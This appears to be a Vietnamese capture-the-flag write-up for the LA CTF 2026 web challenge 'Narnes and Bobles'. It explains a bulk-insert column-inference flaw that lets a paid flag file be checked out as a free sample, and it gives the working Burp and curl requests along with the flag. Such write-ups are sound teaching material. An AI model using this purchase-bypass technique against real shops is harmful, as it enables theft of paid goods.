[Writeup] LA CTF 2026 - Narnes and Bobles (Web)
Chào bạn, đây là bài viết tiếp theo trong series writeup LA CTF. Bài này chúng ta sẽ cùng phân tích một lỗi logic cực kỳ thú vị khi xử lý dữ liệu mảng (array) trong các thư viện ORM/Database Driver của Node.js, dẫn đến việc bỏ sót các cột quan trọng khi lưu vào cơ sở dữ liệu.
1. Tổng quan (Overview)
Thử thách: Narnes and Bobles
Mục tiêu: Tải về file sách Flag (giá $1,000,000) mà không cần trả tiền (tài khoản khởi tạo chỉ có $1,000).

Cơ chế đặc biệt: Có tùy chọn Add Sample (bản đọc thử) với giá $0.
2. Phân tích Source Code
books.json
File này chứa danh sách sách. Chú ý ID của cuốn sách Flag:
{
"id": "2a16e349fb9045fa",
"title": "Flag",
"file": "flag.txt",
"price": 1000000
}
server.js - Logic xử lý
Có hai endpoint quan trọng:
1. Endpoint /cart/add
Thêm sách vào giỏ hàng, tính tổng tiền và kiểm tra số dư.
// Line 138: Tính tiền
const additionalSum = productsToAdd
.filter((product) => !+product.is_sample) // [!] Nếu có is_sample=1 -> !1 = false -> Giá 0
.map((product) => books.find((b) => b.id === product.book_id).price)
.reduce((a, b) => a + b, 0);
// Line 147: Lưu vào Database
await db`INSERT INTO cart_items ${db(cartEntries)}`;
- Server nhận: Một mảng
productstừ client. - Tại dòng 139: Nó kiểm tra
is_sample. Nếuis_samplelà truthy (ví dụ1), nó sẽ được tính là bản mẫu (giá 0 đồng).
2. Endpoint /cart/checkout
Thanh toán và trả về file.
// Line 152: Lấy thông tin từ DB
const cart = await db`SELECT * FROM cart_items WHERE username=${res.locals.username}`;
// Line 165: Quyết định file trả về
const path = item.is_sample ? book.file.replace(...) : book.file;
- Server kiểm tra: Cột
is_sampleđược lưu trong database để quyết định trả về file sample hay file full (Flag).
3. Lỗ hổng (Vulnerability)
Vấn đề nằm ở cách thư viện bun:sqlite (hoặc cách hàm helper db() được implement) xử lý Bulk Insert (chèn nhiều dòng cùng lúc).
Khi bạn insert một mảng các object:
db`INSERT INTO cart_items ${db([obj1, obj2])}`
Bun sẽ chỉ nhìn vào các key của object ĐẦU TIÊN (obj1) trong mảng để xác định các cột cần insert vào câu lệnh SQL.
Kịch bản khai thác
Nếu ta gửi một danh sách sản phẩm gồm 2 món theo thứ tự sau:
- Món 1 (Mồi): Một cuốn sách thường (rẻ tiền), object này KHÔNG CÓ thuộc tính
is_sample(hoặc đểundefined). - Món 2 (Flag): Cuốn sách Flag, object này CÓ thuộc tính
is_sample: 1.
Hệ quả
- Tại Javascript (
/cart/add):- Món 1: Không có
is_sample-> Tính giá bình thường (rẻ). - Món 2: Có
is_sample=1->!1làfalse-> Được lọc ra khỏi tính tổng tiền (Giá 0). - => Tổng tiền < Số dư tài khoản => Hợp lệ.
- Món 1: Không có
- Tại Database (SQLite Insert):
- Do Món 1 (object đầu tiên) không có key
is_sample, câu lệnh SQL sinh ra sẽ bỏ qua cộtis_samplecho TOÀN BỘ mảng. - => Món 2 (Flag) được lưu vào DB nhưng giá trị cột
is_samplesẽ là mặc định (NULLhoặc0).
- Do Món 1 (object đầu tiên) không có key
- Tại
/cart/checkout:- Đọc từ DB ra, Món 2 (Flag) có
is_samplelà falsy (do bị lưu thiếu). - => Server quyết định trả về Full File (Flag) thay vì file sample.
- Đọc từ DB ra, Món 2 (Flag) có
4. Hướng dẫn khai thác (Exploitation)
Cách 1: Sử dụng Burp Suite (Khuyên dùng)
Nếu bạn quen dùng giao diện đồ họa hoặc đã chặn request bằng Burp.
- Capture Request:
- Mở trình duyệt, cấu hình proxy qua Burp Suite.
- Đăng nhập vào web thử thách.
- Thêm một cuốn sách bất kỳ vào giỏ.
- Trong Burp, chặn request
POST /cart/add.
- Sửa Request (Repeater):
- Chuột phải vào request -> Send to Repeater (hoặc Ctrl+R).
- Tại tab Repeater, sửa phần Body của request thành JSON:
{ "products": [ { "book_id": "a3e33c2505a19d18" }, { "book_id": "2a16e349fb9045fa", "is_sample": 1 } ] }- Nhấn Send. Quan sát response bên phải, nếu thấy thông báo cập nhật số dư thành công là OK.
- Checkout:
- Quay lại trình duyệt/Burp, gửi request tới
/cart/checkout. - Server trả về file
.zip. - Lưu file đó về máy và giải nén để lấy Flag.
- Quay lại trình duyệt/Burp, gửi request tới
Cách 2: Sử dụng cURL (Dòng lệnh)
Đây là cách nhanh nhất nếu bạn đã có curl.
Bước 1: Đăng ký & Lấy Cookie
curl -c cookies.txt -X POST https://narnes-and-bobles-zof3x.instancer.lac.tf/register \
-H "Content-Type: application/json" \
-d "{\"username\":\"hacker123\",\"password\":\"password123\"}" -L
Bước 2: Gửi Payload Hack
Gửi request /cart/add với 2 sản phẩm như đã phân tích.
curl -b cookies.txt -X POST https://narnes-and-bobles-zof3x.instancer.lac.tf/cart/add \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "products[0][book_id]=a3e33c2505a19d18" \
--data "products[1][book_id]=2a16e349fb9045fa" \
--data "products[1][is_sample]=1"
Bước 3: Checkout và lấy Flag
curl -b cookies.txt -X POST https://narnes-and-bobles-zof3x.instancer.lac.tf/cart/checkout \
-o flag.zip
5. Tại sao nó hoạt động? (The “Why”)
Bạn có thể thắc mắc tại sao lại dùng is_sample=1 hay !+product.is_sample hoạt động như thế nào.
Giải mã “Ma thuật” !+
Cụm !+product.is_sample thực chất là hai phép toán:
- Dấu
+(Unary Plus): Ép kiểu dữ liệu sang Số (Number)."1"->1undefined->NaN
- Dấu
!(Logical NOT): Chuyển con số đó sang Boolean rồi đảo ngược lại.0(False) ->True1,2,NaN(Truthy cho số khác 0, nhưng NaN là Falsy) ->False? Khoan,NaNlà Falsy, vậy!NaNlàTrue.
Bảng so sánh giá trị:
Giá trị is_sample |
+is_sample |
Boolean | !+is_sample (Kết quả) |
Hành động |
|---|---|---|---|---|
undefined (Không gửi) |
NaN |
False | True |
Tính tiền |
0 |
0 |
False | True |
Tính tiền |
1 |
1 |
True | False |
Bỏ qua (0đ) |
2 |
2 |
True | False |
Bỏ qua (0đ) |
Tóm tắt quy trình
- Bạn gửi
is_sample: 1cho cuốn sách Flag -> JS thấy số 1 (True) nên không tính tiền. (Thành công bước 1). - Bạn để cuốn sách đầu tiên (Mồi) không có
is_sample-> Database Driver bị lừa, nó không tạo cộtis_sampleđể lưu vào bảng cho cả mảng. (Thành công bước 2). - Kết quả: Flag được lưu vào DB với
is_samplemặc định là0(False) -> Server hiểu lầm là bạn đã mua bản Full.
6. Tổng kết
Flag: lactf{matcha_dubai_chocolate_labubu}
Bài học rút ra: Đừng bao giờ tin tưởng vào việc tự động suy diễn Schema từ dữ liệu đầu vào của người dùng (Mass Assignment). Luôn luôn định nghĩa rõ ràng các cột cần chèn hoặc chuẩn hóa dữ liệu (Sanitize) trước khi đưa vào hàm Database.
Hy vọng bài writeup này giúp bạn hiểu rõ hơn về lỗ hổng Mass Assignment và Logic Error trong lập trình Web!